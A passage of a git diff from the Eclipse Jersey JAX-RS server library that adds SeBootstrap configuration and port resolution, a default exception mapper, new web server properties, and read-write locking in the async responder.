+import org.glassfish.jersey.server.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import javax.net.ssl.SSLContext;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.URI;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Random;
+import java.util.function.BiFunction;
+import java.util.logging.Logger;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+
+/**
+ * Jersey implementation of {@link SeBootstrap.Configuration} implementing arbitrary methods for acquiring
+ * the configuration settings.
+ * @since 3.1.0
+ */
+public final class JerseySeBootstrapConfiguration implements SeBootstrap.Configuration {
+ private static final Logger LOGGER = Logger.getLogger(JerseySeBootstrapConfiguration.class.getName());
+ protected static final Random RANDOM = new Random();
+ private final SeBootstrap.Configuration configuration;
+
+ private JerseySeBootstrapConfiguration(SeBootstrap.Configuration configuration) {
+ this.configuration = configuration;
+ }
+
+ @Override
+ public Object property(String name) {
+ return configuration.property(name);
+ }
+
+ /**
+ * Compose {@link URI} based on properties defined in this configuration.
+ * @param resolveDefaultPort if {@code true} the port is not set, it is resolved as
+ * {@link Container#DEFAULT_HTTP_PORT} or {@link Container#DEFAULT_HTTPS_PORT}
+ * based on the protocol scheme.
+ * @return Composed {@link URI} based on properties defined in this configuration.
+ */
+ public URI uri(boolean resolveDefaultPort) {
+ final String protocol = configuration.protocol();
+ final String host = configuration.host();
+ final int port = resolveDefaultPort ? resolvePort() : configuration.port();
+ final String rootPath = configuration.rootPath();
+ final URI uri = UriBuilder.newInstance().scheme(protocol.toLowerCase()).host(host).port(port).path(rootPath)
+ .build();
+ return uri;
+ }
+
+ private int resolvePort() {
+ final int configPort = configuration.port();
+ final int basePort = allowPrivilegedPorts() ? 0 : 8000;
+ final int port;
+ switch (configPort) {
+ case SeBootstrap.Configuration.DEFAULT_PORT:
+ port = basePort + (isHttps() ? Container.DEFAULT_HTTPS_PORT : Container.DEFAULT_HTTP_PORT);
+ break;
+ case SeBootstrap.Configuration.FREE_PORT:
+ port = _resolvePort(basePort == 0);
+ break;
+ default:
+ port = configPort;
+ break;
+ }
+ return port;
+ }
+
+ private int _resolvePort(boolean allowPrivilegedPort) {
+ final int basePort = allowPrivilegedPort ? 0 : 1024;
+ // Get the initial range parameters
+ final int lower = basePort;
+ final int range = 0xFFFF;
+
+ // Select a start point in the range
+ final int initialOffset = RANDOM.nextInt(range - lower);
+
+ // Loop the offset through all ports in the range and attempt
+ // to bind to each
+ int offset = initialOffset;
+ ServerSocket socket;
+ do {
+ final int port = lower + offset;
+ try {
+ socket = new ServerSocket(port);
+ socket.close();
+ return port;
+ } catch (IOException caught) {
+ // Swallow exceptions until the end
+ }
+ offset = (offset + 1) % range;
+ } while (offset != initialOffset);
+
+ // If a port can't be bound, throw the exception
+ throw new IllegalArgumentException(LocalizationMessages.COULD_NOT_BIND_TO_ANY_PORT());
+ }
+
+ /**
+ * Return {@link SSLContext} in the configuration if the protocol scheme is {@code HTTPS}.
+ * @return the SSLContext in the configuration.
+ */
+ @Override
+ public SSLContext sslContext() {
+ final SSLContext sslContext = configuration.sslContext();
+ return isHttps() ? sslContext : null;
+ }
+
+ /**
+ * If the protocol schema is {@code HTTPS}, return {@code true}.
+ * @return {@code true} when the protocol schema is {@code HTTPS}.
+ */
+ public boolean isHttps() {
+ return "HTTPS".equalsIgnoreCase(configuration.protocol());
+ }
+
+ /**
+ * Defines if the {@link WebServer} should automatically start.
+ * @return false if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code false}, {@code true} otherwise.
+ */
+ public boolean autoStart() {
+ final boolean autoStart = Optional.ofNullable(
+ (Boolean) configuration.property(ServerProperties.WEBSERVER_AUTO_START))
+ .orElse(TRUE);
+ return autoStart;
+ }
+
+ /**
+ * Defines if the {@link WebServer} should start on a privileged port when port is not set.
+ * @return true if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code true}, {@code false} otherwise.
+ */
+ public boolean allowPrivilegedPorts() {
+ return Optional.ofNullable(
+ (Boolean) configuration.property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS))
+ .orElse(FALSE);
+ }
+
+ /**
+ * Factory method creating {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}.
+ * @param configuration wrapped configuration
+ * @return {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}.
+ */
+ public static JerseySeBootstrapConfiguration from(SeBootstrap.Configuration configuration) {
+ return JerseySeBootstrapConfiguration.class.isInstance(configuration)
+ ? (JerseySeBootstrapConfiguration) configuration
+ : new JerseySeBootstrapConfiguration(configuration);
+ }
+
+ /**
+ * Return a Jersey instance of {@link SeBootstrap.Configuration.Builder} with prefilled values.
+ * @return a Jersey instance of {@link SeBootstrap.Configuration.Builder}.
+ */
+ public static Builder builder() {
+ return new Builder();
+ }
+
+ public static final class Builder implements SeBootstrap.Configuration.Builder {
+ private static final Map<String, Class<?>> PROPERTY_TYPES = new HashMap<>();
+
+ static {
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.PROTOCOL, String.class);
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.HOST, String.class);
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.PORT, Integer.class);
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.ROOT_PATH, String.class);
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.class);
+ PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION, SSLClientAuthentication.class);
+ PROPERTY_TYPES.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.class);
+ PROPERTY_TYPES.put(ServerProperties.WEBSERVER_AUTO_START, Boolean.class);
+ PROPERTY_TYPES.put(ServerProperties.WEBSERVER_CLASS, Class.class);
+ }
+
+ private final Map<String, Object> properties = new HashMap<>();
+
+ private Builder() {
+ this.properties.put(SeBootstrap.Configuration.PROTOCOL, "HTTP"); // upper case mandated by javadoc
+ this.properties.put(SeBootstrap.Configuration.HOST, "localhost");
+ this.properties.put(SeBootstrap.Configuration.PORT, -1); // Auto-select port 8080 for HTTP or 8443 for HTTPS
+ this.properties.put(SeBootstrap.Configuration.ROOT_PATH, "/");
+ this.properties.put(ServerProperties.WEBSERVER_CLASS, WebServer.class); // Auto-select first provider
+ try {
+ this.properties.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.getDefault());
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ this.properties.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION,
+ SeBootstrap.Configuration.SSLClientAuthentication.NONE);
+ this.properties.put(ServerProperties.WEBSERVER_AUTO_START, TRUE);
+ this.properties.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, FALSE);
+
+ SystemPropertiesConfigurationModel propertiesConfigurationModel = new SystemPropertiesConfigurationModel(
+ Collections.singletonList(Properties.class.getName())
+ );
+ from((name, aClass) -> String.class.equals(aClass) || Integer.class.equals(aClass) || Boolean.class.equals(aClass)
+ ? propertiesConfigurationModel.getOptionalProperty(name, aClass)
+ : Optional.empty()
+ );
+ }
+
+ @Override
+ public JerseySeBootstrapConfiguration build() {
+ return JerseySeBootstrapConfiguration.from(this.properties::get);
+ }
+
+ @Override
+ public Builder property(String name, Object value) {
+ this.properties.put(name, value);
+ return this;
+ }
+
+ /**
+ * Set the the respective {@link WebServer} class to be used by the
+ * {@link org.glassfish.jersey.server.spi.WebServerProvider}.
+ * @param webServerClass the class implementing {@link WebServer}.
+ * @return the updated builder.
+ */
+ public Builder webServerClass(Class<? extends WebServer> webServerClass) {
+ return property(ServerProperties.WEBSERVER_CLASS, webServerClass);
+ }
+
+ /**
+ * Define if the {@link WebServer} should auto-start at bootstrap.
+ * @param autostart the auto-start flag.
+ * @return the updated builder.
+ */
+ public Builder autoStart(Boolean autostart) {
+ return property(ServerProperties.WEBSERVER_AUTO_START, autostart);
+ }
+
+ @Override
+ public <T> JerseySeBootstrapConfiguration.Builder from(BiFunction<String, Class<T>, Optional<T>> configProvider) {
+ PROPERTY_TYPES.forEach(
+ (propertyName, propertyType) -> configProvider.apply(propertyName, (Class<T>) propertyType)
+ .ifPresent(propertyValue -> this.properties.put(propertyName, propertyValue)));
+ return this;
+ }
+
+ @Override
+ public JerseySeBootstrapConfiguration.Builder from(Object externalConfig) {
+ if (SeBootstrap.Configuration.class.isInstance(externalConfig)) {
+ final SeBootstrap.Configuration other = (SeBootstrap.Configuration) externalConfig;
+ from((name, clazz) -> {
+ final Object property = other.property(name);
+ if (property != null) {
+ if (clazz.equals(property.getClass())) {
+ return Optional.of(property);
+ } else {
+ LOGGER.warning(LocalizationMessages.IGNORE_SEBOOTSTRAP_CONFIGURATION_PROPERTY(name, clazz));
+ }
+ }
+ return Optional.empty();
+ });
+ }
+ return this;
+ }
+ }
+
+ /**
+ * Name the properties to be internally read from System properties by {@link ExternalPropertiesConfigurationFactory}.
+ * This is required just when SecurityManager is on, otherwise all system properties are read.
+ */
+ @PropertiesClass
+ private static class Properties {
+ /**
+ * See {@link SeBootstrap.Configuration#PROTOCOL} property.
+ */
+ public static final String SE_BOOTSTRAP_CONFIGURATION_PROTOCOL = SeBootstrap.Configuration.PROTOCOL;
+
+ /**
+ * See {@link SeBootstrap.Configuration#HOST} property.
+ */
+ public static final String SE_BOOTSTRAP_CONFIGURATION_HOST = SeBootstrap.Configuration.HOST;
+
+ /**
+ * See {@link SeBootstrap.Configuration#PORT} property.
+ */
+ public static final String SE_BOOTSTRAP_CONFIGURATION_PORT = SeBootstrap.Configuration.PORT;
+
+ /**
+ * See {@link SeBootstrap.Configuration#ROOT_PATH} property.
+ */
+ public static final String SE_BOOTSTRAP_CONFIGURATION_ROOT_PATH = SeBootstrap.Configuration.ROOT_PATH;
+
+ /**
+ * See {@link ServerProperties#WEBSERVER_ALLOW_PRIVILEGED_PORTS} property.
+ */
+ public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS = ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS;
+
+ /**
+ * See {@link ServerProperties#WEBSERVER_AUTO_START} property.
+ */
+ public static final String WEBSERVER_AUTO_START = ServerProperties.WEBSERVER_AUTO_START;
+ }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
index 291b76f..ae39a68 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -756,6 +756,11 @@
}
@Override
+ public final boolean hasProperty(final String name) {
+ return state.hasProperty(name);
+ }
+
+ @Override
public final Object getProperty(final String name) {
return state.getProperty(name);
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
index 03482f9..4cf65c8 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
package org.glassfish.jersey.server;
+import jakarta.ws.rs.ext.ExceptionMapper;
import jakarta.ws.rs.ext.MessageBodyWriter;
import jakarta.ws.rs.ext.WriterInterceptor;
@@ -44,5 +45,8 @@
// JSONP
bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
+
+ //Default exception mapper
+ bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
}
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
index 4c06c5c..5d8a3ad 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,6 +24,8 @@
import org.glassfish.jersey.internal.util.PropertiesClass;
import org.glassfish.jersey.internal.util.PropertiesHelper;
import org.glassfish.jersey.internal.util.PropertyAlias;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
/**
@@ -764,6 +766,50 @@
"jersey.config.server.empty.request.media.matches.any.consumes";
/**
+ * Defines whether to allow privileged ports (0-1023) to be used to start the {@link WebServer} implementation
+ * to be chosen from the unused ports when the {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code -1}
+ * or unset.
+ * <p>
+ * The default ports are {@link Container#DEFAULT_HTTP_PORT} for HTTP and {@link Container#DEFAULT_HTTPS_PORT}
+ * for HTTPS when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true} or 8080 for HTTP and 8443 for HTTPS when
+ * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false}.
+ * </p>
+ * <p>
+ * If {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code 0}, the implementation scans for random unused
+ * port (0-65535) when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true}, or (1024-65535) when
+ * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false.}
+ * </p>
+ * <p>
+ * The default this is {@code false}. Use {@code true} to allow a restricted port number. The name of the configuration
+ * property is <tt>{@value}</tt>.
+ * </p>
+ * @since 3.1.0
+ */
+ public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS =
+ "jersey.config.server.bootstrap.webserver.allow.privileged.ports";
+
+ /**
+ * Whether to automatically startup {@link WebServer} at bootstrap.
+ * <p>
+ * By default, servers are immediately listening to connections after bootstrap,
+ * so no explicit invocation of {@link WebServer#start()} is needed. The name of the configuration
+ * property is <tt>{@value}</tt>.
+ * </p>
+ * @since 3.1.0
+ */
+ public static final String WEBSERVER_AUTO_START = "jersey.config.server.bootstrap.webserver.autostart";
+
+ /**
+ * Defines the implementation of {@link WebServer} to bootstrap.
+ * <p>
+ * By default auto-selects the first server provider found. The name of the configuration
+ * property is <tt>{@value}</tt>.
+ * </p>
+ * @since 3.1.0
+ */
+ public static final String WEBSERVER_CLASS = "jersey.config.server.bootstrap.webserver.class";
+
+ /**
* JVM argument to define the value of
* {@link org.glassfish.jersey.server.internal.monitoring.core.ReservoirConstants#COLLISION_BUFFER_POWER}.
* Lower values reduce the memory footprint.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
index 04d820d..d6eb5a6 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
@@ -34,6 +34,8 @@
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -128,6 +130,11 @@
/** Resolve relative URIs according to RFC7231 (not JAX-RS 2.0 compliant */
private final boolean rfc7231LocationHeaderRelativeUriResolution;
+ /**
+ * Default exception mapper (@since 3.1.0 according to JAX-RS 3.1 spec)
+ */
+ private static final ExceptionMapper<Throwable> DEFAULT_EXCEPTION_MAPPER = new DefaultExceptionMapper();
+
static ServerRuntime createServerRuntime(
InjectionManager injectionManager,
ServerBootstrapBag bootstrapBag,
@@ -367,11 +374,11 @@
public void process(ContainerResponse response) {
processingContext.monitoringEventBuilder().setContainerResponse(response);
- response = processResponse(response);
+ response = processResponse(response, null);
release(response);
}
- private ContainerResponse processResponse(ContainerResponse response) {
+ private ContainerResponse processResponse(ContainerResponse response, Throwable unmappedThrowable) {
final Stage<ContainerResponse> respondingRoot = processingContext.createRespondingRoot();
if (respondingRoot != null) {
@@ -381,7 +388,23 @@
// no-exception zone
// the methods below are guaranteed to not throw any exceptions
- completionCallbackRunner.onComplete(null);
+ completionCallbackRunner.onComplete(unmappedThrowable);
+ return response;
+ }
+
+ private ContainerResponse preProcessResponse(Response exceptionResponse, ContainerRequest request) {
+ final ContainerResponse response;
+ try {
+ response = convertResponse(exceptionResponse);
+ if (!runtime.disableLocationHeaderRelativeUriResolution) {
+ ensureAbsolute(response.getLocation(), response.getHeaders(), request,
+ runtime.rfc7231LocationHeaderRelativeUriResolution);
+ }
+ processingContext.monitoringEventBuilder().setContainerResponse(response)
+ .setResponseSuccessfullyMapped(true);
+ } finally {
+ processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED);
+ }
return response;
}
@@ -408,22 +431,12 @@
processingContext.triggerEvent(RequestEvent.Type.ON_EXCEPTION);
ContainerResponse response = null;
+ ContainerResponse defaultMapperResponse = null;
try {
final Response exceptionResponse = mapException(throwable);
try {
- try {
- response = convertResponse(exceptionResponse);
- if (!runtime.disableLocationHeaderRelativeUriResolution) {
- ensureAbsolute(response.getLocation(), response.getHeaders(), request,
- runtime.rfc7231LocationHeaderRelativeUriResolution);
- }
- processingContext.monitoringEventBuilder().setContainerResponse(response)
- .setResponseSuccessfullyMapped(true);
- } finally {
- processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED);
- }
-
- processResponse(response);
+ response = preProcessResponse(exceptionResponse, request);
+ processResponse(response, null);
} catch (final Throwable respError) {
LOGGER.log(Level.SEVERE, LocalizationMessages.ERROR_PROCESSING_RESPONSE_FROM_ALREADY_MAPPED_EXCEPTION());
processingContext.monitoringEventBuilder()
@@ -439,16 +452,21 @@
if (!processResponseError(responseError)) {
// Pass the exception to the container.
- LOGGER.log(Level.FINE, LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(), responseError);
+ LOGGER.log(Level.WARNING, LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(), responseError);
try {
request.getResponseWriter().failure(responseError);
} finally {
- completionCallbackRunner.onComplete(responseError);
+ defaultMapperResponse = processResponseWithDefaultExceptionMapper(responseError, request);
+
+ // completionCallbackRunner.onComplete(responseError); is called from
+ // processResponseWithDefaultExceptionMapper
}
+
}
+
} finally {
- release(response);
+ release(response, defaultMapperResponse);
}
}
@@ -480,7 +498,7 @@
if (processedError != null) {
processedResponse =
- processResponse(new ContainerResponse(processingContext.request(), processedError));
+ processResponse(new ContainerResponse(processingContext.request(), processedError), null);
processed = true;
}
} catch (final Throwable throwable) {
@@ -510,6 +528,7 @@
do {
final Throwable throwable = wrap.getCurrent();
+
if (wrap.isInMappable() || throwable instanceof WebApplicationException) {
// in case ServerProperties.PROCESSING_RESPONSE_ERRORS_ENABLED is true, allow
// wrapped MessageBodyProviderNotFoundException to propagate
@@ -535,47 +554,9 @@
final long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING);
final ExceptionMapper mapper = runtime.exceptionMappers.findMapping(throwable);
- if (mapper != null) {
- processingContext.monitoringEventBuilder().setExceptionMapper(mapper);
- processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND);
- try {
- final Response mappedResponse = mapper.toResponse(throwable);
-
- if (tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING)) {
- tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING,
- timestamp, mapper, throwable, throwable.getLocalizedMessage(),
- mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-");
- }
-
- // set mapped throwable
- processingContext.routingContext().setMappedThrowable(throwable);
-
- if (mappedResponse != null) {
- // response successfully mapped
- if (LOGGER.isLoggable(Level.FINER)) {
- final String message = String.format(
- "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).",
- throwable.getLocalizedMessage(),
- mapper.getClass().getName(),
- mappedResponse.getStatusInfo().getReasonPhrase(),
- mappedResponse.getStatusInfo().getStatusCode(),
- mappedResponse.getStatusInfo().getFamily());
- LOGGER.log(Level.FINER, message);
- }
- return mappedResponse;
- } else {
- return Response.noContent().build();
- }
- } catch (final Throwable mapperThrowable) {
- // spec: If the exception mapping provider throws an exception while creating a Response
- // then return a server error (status code 500) response to the client.
- LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()),
- mapperThrowable);
- LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable);
- return Response.serverError().build();
- }
+ if (mapper != null && !DefaultExceptionMapper.class.isInstance(mapper)) {
+ return processExceptionWithMapper(mapper, throwable, timestamp);
}
-
if (waeResponse != null) {
LOGGER.log(Level.FINE, LocalizationMessages
.EXCEPTION_MAPPING_WAE_NO_ENTITY(waeResponse.getStatus()), throwable);
@@ -589,7 +570,6 @@
return Response.status(Response.Status.BAD_REQUEST).build();
}
}
-
if (!wrap.isInMappable() || !wrap.isWrapped()) {
// user failures (thrown from Resource methods or provider methods)
@@ -605,6 +585,55 @@
throw originalThrowable;
}
+ private Response processExceptionWithMapper(ExceptionMapper mapper,
+ Throwable throwable, long timestamp) {
+ processingContext.monitoringEventBuilder().setExceptionMapper(mapper);
+ processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND);
+ try {
+ final Response mappedResponse = mapper.toResponse(throwable);
+
+ if (isTracingLoggingEnabled(mapper, throwable, tracingLogger)) {
+ tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING,
+ timestamp, mapper, throwable, throwable.getLocalizedMessage(),
+ mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-");
+ }
+
+ // set mapped throwable
+ processingContext.routingContext().setMappedThrowable(throwable);
+
+ if (mappedResponse != null) {
+ // response successfully mapped
+ if (LOGGER.isLoggable(Level.FINER)) {
+ final String message = String.format(
+ "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).",
+ throwable.getLocalizedMessage(),
+ mapper.getClass().getName(),
+ mappedResponse.getStatusInfo().getReasonPhrase(),
+ mappedResponse.getStatusInfo().getStatusCode(),
+ mappedResponse.getStatusInfo().getFamily());
+ LOGGER.log(Level.FINER, message);
+ }
+ return mappedResponse;
+ } else {
+ return Response.noContent().build();
+ }
+ } catch (final Throwable mapperThrowable) {
+ // spec: If the exception mapping provider throws an exception while creating a Response
+ // then return a server error (status code 500) response to the client.
+ LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()),
+ mapperThrowable);
+ LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable);
+ return Response.serverError().build();
+ }
+ }
+
+ private ContainerResponse processResponseWithDefaultExceptionMapper(Throwable exception,
+ ContainerRequest request) {
+ long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING);
+ final Response response = processExceptionWithMapper(DEFAULT_EXCEPTION_MAPPER, exception, timestamp);
+ return processResponse(preProcessResponse(response, request), exception);
+ }
+
private ContainerResponse writeResponse(final ContainerResponse response) {
final ContainerRequest request = processingContext.request();
final ContainerResponseWriter writer = request.getResponseWriter();
@@ -736,16 +765,14 @@
.setResponseWritten(true);
}
- private void release(final ContainerResponse responseContext) {
+ private void release(final ContainerResponse... responseContexts) {
try {
processingContext.closeableService().close();
// Commit the container response writer if not in chunked mode
// responseContext may be null in case the request processing was cancelled.
- if (responseContext != null && !responseContext.isChunked()) {
- // responseContext.commitStream();
- responseContext.close();
- }
+ Arrays.stream(responseContexts).filter(responseContext -> responseContext != null
+ && !responseContext.isChunked()).forEach(ContainerResponse::close);
} catch (final Throwable throwable) {
LOGGER.log(Level.WARNING, LocalizationMessages.RELEASING_REQUEST_PROCESSING_RESOURCES_FAILED(), throwable);
@@ -754,6 +781,14 @@
processingContext.triggerEvent(RequestEvent.Type.FINISHED);
}
}
+
+ private static boolean isTracingLoggingEnabled(ExceptionMapper mapper, Throwable throwable, TracingLogger tracingLogger) {
+ boolean defaultLoggingState = mapper instanceof DefaultExceptionMapper
+ && throwable instanceof WebApplicationException;
+ return !defaultLoggingState
+ && tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING);
+
+ }
}
private static class AsyncResponder implements AsyncContext, ContainerResponseWriter.TimeoutHandler, CompletionCallback {
@@ -767,7 +802,7 @@
}
};
- private final Object stateLock = new Object();
+ private final ReadWriteLock stateLock = new ReentrantReadWriteLock();
private State state = RUNNING;
private boolean cancelled = false;
@@ -799,11 +834,13 @@
@Override
public void onTimeout(final ContainerResponseWriter responseWriter) {
final TimeoutHandler handler = timeoutHandler;
+ stateLock.readLock().lock();
try {
- synchronized (stateLock) {
- if (state == SUSPENDED) {
- handler.handleTimeout(this);
- }
+ if (state == SUSPENDED) {
+ stateLock.readLock().unlock(); // unlock before handleTimeout to prevent write lock in handleTimeout
+ handler.handleTimeout(this);
+ } else {
+ stateLock.readLock().unlock();
}
} catch (final Throwable throwable) {
resume(throwable);
@@ -812,9 +849,9 @@
@Override
public void onComplete(final Throwable throwable) {
- synchronized (stateLock) {
- state = COMPLETED;
- }
+ stateLock.writeLock().lock();
+ state = COMPLETED;
+ stateLock.writeLock().unlock();
}
@Override
@@ -842,14 +879,19 @@
@Override
public boolean suspend() {
- synchronized (stateLock) {
- if (state == RUNNING) {
- if (responder.processingContext.request().getResponseWriter().suspend(
- AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) {
- state = SUSPENDED;
- return true;
- }
+ stateLock.readLock().lock();
+ if (state == RUNNING) {
+ stateLock.readLock().unlock();
+ if (responder.processingContext.request().getResponseWriter().suspend(
+ AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) {
+ // Must release read lock before acquiring write lock
+ stateLock.writeLock().lock();
+ state = SUSPENDED;
+ stateLock.writeLock().unlock();
+ return true;
}
+ } else {
+ stateLock.readLock().unlock();
}
return false;
}
@@ -892,12 +934,17 @@
}
private boolean resume(final Runnable handler) {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
if (state != SUSPENDED) {
return false;
}
- state = RESUMED;
+ } finally {
+ stateLock.readLock().unlock();
}
+ stateLock.writeLock().lock();
+ state = RESUMED;
+ stateLock.writeLock().unlock();
try {
responder.runtime.requestScope.runInScope(requestContext, handler);
@@ -945,7 +992,8 @@
}
private boolean cancel(final Value<Response> responseValue) {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
if (cancelled) {
return true;
}
@@ -953,10 +1001,15 @@
if (state != SUSPENDED) {
return false;
}
- state = RESUMED;
- cancelled = true;
+ } finally {
+ stateLock.readLock().unlock();
}
+ stateLock.writeLock().lock();
+ state = RESUMED;
+ cancelled = true;
+ stateLock.writeLock().unlock();
+
responder.runtime.requestScope.runInScope(requestContext, new Runnable() {
@Override
public void run() {
@@ -973,29 +1026,41 @@
}
public boolean isRunning() {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
return state == RUNNING;
+ } finally {
+ stateLock.readLock().unlock();
}
}
@Override
public boolean isSuspended() {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
return state == SUSPENDED;
+ } finally {
+ stateLock.readLock().unlock();
}
}
@Override
public boolean isCancelled() {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
return cancelled;
+ } finally {
+ stateLock.readLock().unlock();
}
}
@Override
public boolean isDone() {
- synchronized (stateLock) {
+ stateLock.readLock().lock();
+ try {
return state == COMPLETED;
+ } finally {
+ stateLock.readLock().unlock();
}
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java
new file mode 100644
index 0000000..2b61d4a
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.ServiceFinder;
